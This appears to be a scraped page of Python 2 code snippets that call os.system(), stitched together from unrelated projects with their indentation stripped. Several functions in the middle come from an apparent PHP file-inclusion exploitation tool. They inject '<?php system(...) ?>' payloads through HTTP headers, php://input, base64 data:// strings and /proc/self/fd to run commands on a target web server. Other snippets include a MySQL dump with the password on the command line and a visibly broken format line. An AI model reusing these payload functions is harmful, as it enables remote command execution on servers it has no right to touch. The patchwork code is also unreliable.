def system():
""" Returns the system/OS name, e.g. 'Linux', 'Windows' or 'Java'.
An empty string is returned if the value cannot be determined.
"""
return uname()[0]
python类system()的实例源码
def release():
""" Returns the system's release, e.g. '2.2.0' or 'NT'
An empty string is returned if the value cannot be determined.
"""
return uname()[2]
def version():
""" Returns the system's release version, e.g. '#3 on degas'
An empty string is returned if the value cannot be determined.
"""
return uname()[3]
def test():
global mh, f
os.system('rm -rf $HOME/Mail/@test')
mh = MH()
def do(s): print s; print eval(s)
do('mh.listfolders()')
do('mh.listallfolders()')
testfolders = ['@test', '@test/test1', '@test/test2',
'@test/test1/test11', '@test/test1/test12',
'@test/test1/test11/test111']
for t in testfolders: do('mh.makefolder(%r)' % (t,))
do('mh.listsubfolders(\'@test\')')
do('mh.listallsubfolders(\'@test\')')
f = mh.openfolder('@test')
do('f.listsubfolders()')
do('f.listallsubfolders()')
do('f.getsequences()')
seqs = f.getsequences()
seqs['foo'] = IntSet('1-10 12-20', ' ').tolist()
print seqs
f.putsequences(seqs)
do('f.getsequences()')
for t in reversed(testfolders): do('mh.deletefolder(%r)' % (t,))
do('mh.getcontext()')
context = mh.getcontext()
f = mh.openfolder(context)
do('f.getcurrent()')
for seq in ('first', 'last', 'cur', '.', 'prev', 'next',
'first:3', 'last:3', 'cur:3', 'cur:-3',
'prev:3', 'next:3',
'1:3', '1:-3', '100:3', '100:-3', '10000:3', '10000:-3',
'all'):
try:
do('f.parsesequence(%r)' % (seq,))
except Error, msg:
print "Error:", msg
stuff = os.popen("pick %r 2>/dev/null" % (seq,)).read()
list = map(int, stuff.split())
print list, "<-- pick"
do('f.listmessages()')
def clean():
os.system("rm -f top")
os.system("rm -f *.v *.xst *.prj *.vcd *.ucf")
def run_sim():
os.system("iverilog -o top "
"top.v "
"top_tb.v "
"../litesdcard/emulator/verilog/sd_common.v "
"../litesdcard/emulator/verilog/sd_link.v "
"../litesdcard/emulator/verilog/sd_phy.v "
"-I ../litesdcard/emulator/verilog/ "
)
os.system("vvp top")
def install_tk_debian():
print("System Type: Debian")
print("Installing python-tk (Tkinter)")
os.system('sudo apt-get install -y python-tk')
def install_tk_redhat():
print("System Type: Redhat")
print("Installed tkinter")
os.system('sudo yum install -y tkinter')
def backup_mysql():
try:
back_file_name = database_name+time.strftime("%Y%m%d_%H%M%S", time.localtime())
back_file_path = os.path.join(backup_dir,back_file_name)
backup_command= '%s -h%s -P%d -u%s -p%s --default-character-set=utf8 %s > %s'\
%(mysql_dump,mysql_host,int(mysql_port),mysql_user,mysql_pass,database_name,back_file_path)
if os.system(backup_command) == 0:
zip_file_path = back_file_path+'.zip'
f = zipfile.ZipFile(zip_file_path, 'w' ,zipfile.ZIP_DEFLATED,allowZip64=True)
f.write(back_file_path,back_file_name)
f.close()
md5_num = str(md5sum(zip_file_path))
md5_file_path = zip_file_path+'_'+md5_num
back_file_new_path = os.path.join(backup_dir,md5_file_path)
os.rename(zip_file_path,back_file_new_path)
os.remove(back_file_path)
data = {'status':'back_success','file_path':back_file_new_path,'md5':md5_num}
return data
else:
data = {'status':'back_failed'}
return data
except Exception, e:
print e
data = {'status':'back_failed'}
return data
def onlyPhpPrint():
print colored("[system() calls have been disabled by the website, you can just run php commands (ex: fwrite(fopen('a.txt','w'),\"content\");]\n","red")
def execSeCmd(cmd):
global se_par
global se_headers
if(se_phponly is False):
se_headers['%s' %se_header_par] = '<?php system("%s"); ?>' %cmd
else:
if(";" not in cmd[-2:]):
cmd = "%s;" %cmd
se_headers['%s' %se_header_par] = '<?php %s ?>' %cmd
#print "se_headers = %s\n---------" %se_headers # useful for debugging
if(cmd != reverseConn):
r = requests.get(se_url, headers=se_headers, timeout=15)
else:
r = requests.get(se_url, headers=se_headers)
resp = r.text
'''print "\nse_headers:\n%s\n\n" %se_headers
print "\n\n-------------\n%s\n-------------\n\n" %resp'''
index_start = SubstrFind(resp, "%s=" %se_par)
index_stop = SubstrFind(resp, se_stopStr)
try:
return resp[(index_start[0]+len(se_par)+1):index_stop[0]]
except:
return "<NOT WORKING>"
def access_control(resp,keyword,rand_str):
lines = resp.split('\n')
if("_PHP" in keyword): # in case system() calls have been disabled
keyword = keyword[:-4]
if(len(SubstrFind(resp,rand_str)) > 0 and len(SubstrFind(resp,"echo %s" %rand_str)) == 0 and
len(SubstrFind(resp,"echo%%20%s" %rand_str)) == 0):
return True
return False
#----------------------------------------------------
def send_phpinput_cmd(cmd, inputurl):
global gen_headers
if(inputurl[-11:] == "php://input"):
inputurl = inputurl[:-11]
url = "%sphp://input" %(inputurl)
phpcmd = cmd[:6] == "php://"
body = ""
if(phpcmd):
cmd = cmd[6:]
length = 27+len(cmd)
body = "AbracadabrA ** <?php %s?> **" %cmd
else:
length = 34+len(cmd)
body = "AbracadabrA ** <?php system('%s');?> **" %cmd
gen_headers['Content-Length'] = '%s' %length
r = requests.post(url=url, headers=gen_headers, data=body)
return r.text
def cleanDataCmd(cmd):
newcmd = "AbracadabrA ** <?php "
if(cmd[:6] != "php://"):
if(reverseConn not in cmd):
cmds = cmd.split('&')
for c in cmds:
if(len(c) > 0):
newcmd += "system('%s');" %c
else:
b64cmd = base64.b64encode(cmd)
newcmd += "system(base64_decode('%s'));" %b64cmd
else:
newcmd += cmd[6:]
newcmd += "?> **"
return newcmd
def send_self_fd_cmd(errPage,cmd,field,ofdurl):
if("php://" in cmd):
cmd = "%s **<?php %s" %(fd_pre_rand_str,cmd)
if(";" not in cmd[-2:]):
cmd = "%s;" %cmd
cmd = "%s ?> **"
else:
cmd = "%s **<?php system(\"%s\"); ?> **" %(fd_pre_rand_str,cmd)
fd_headers[field] = cmd
r = requests.get(errPage,headers=fd_headers,timeout=15)
r = requests.get(ofdurl, headers=bu_headers,timeout=15)
return r.text
def clear():
if os.name=="nt":
x=os.system("cls")
else:
x=os.system("clear")
def cleardown_rpc():
"""
kill any rpc-agent that still exists
"""
os.system('killall rpc-agent')
def killTheRpcAgent():
"""
"""
print("Will attempt to kill the rpc-agent - this will now be handled by the SDK")
killCommand = "ps aux | grep -i 'rpc-agent.*port.*8778' | awk '{print $2}' | xargs kill -9"
# Finding the process based on the port number is safer than relying on the pid number that it was started on
os.system(killCommand)
def launch_game(self):
self.switch_monitor('ON')
self.main_window.hide()
while Gtk.events_pending():
Gtk.main_iteration()
if self.launcher_type == 'gog':
launch_command = self.install_dir + '/' + self.game_name + '/start_gog.sh'
else:
launch_command = self.install_dir + '/' + self.game_name + '/start_gn.sh'
os.system(self.command_before)
os.system(launch_command)
os.system(self.command_after)
self.switch_monitor('OFF')
self.config_save()
sys.exit()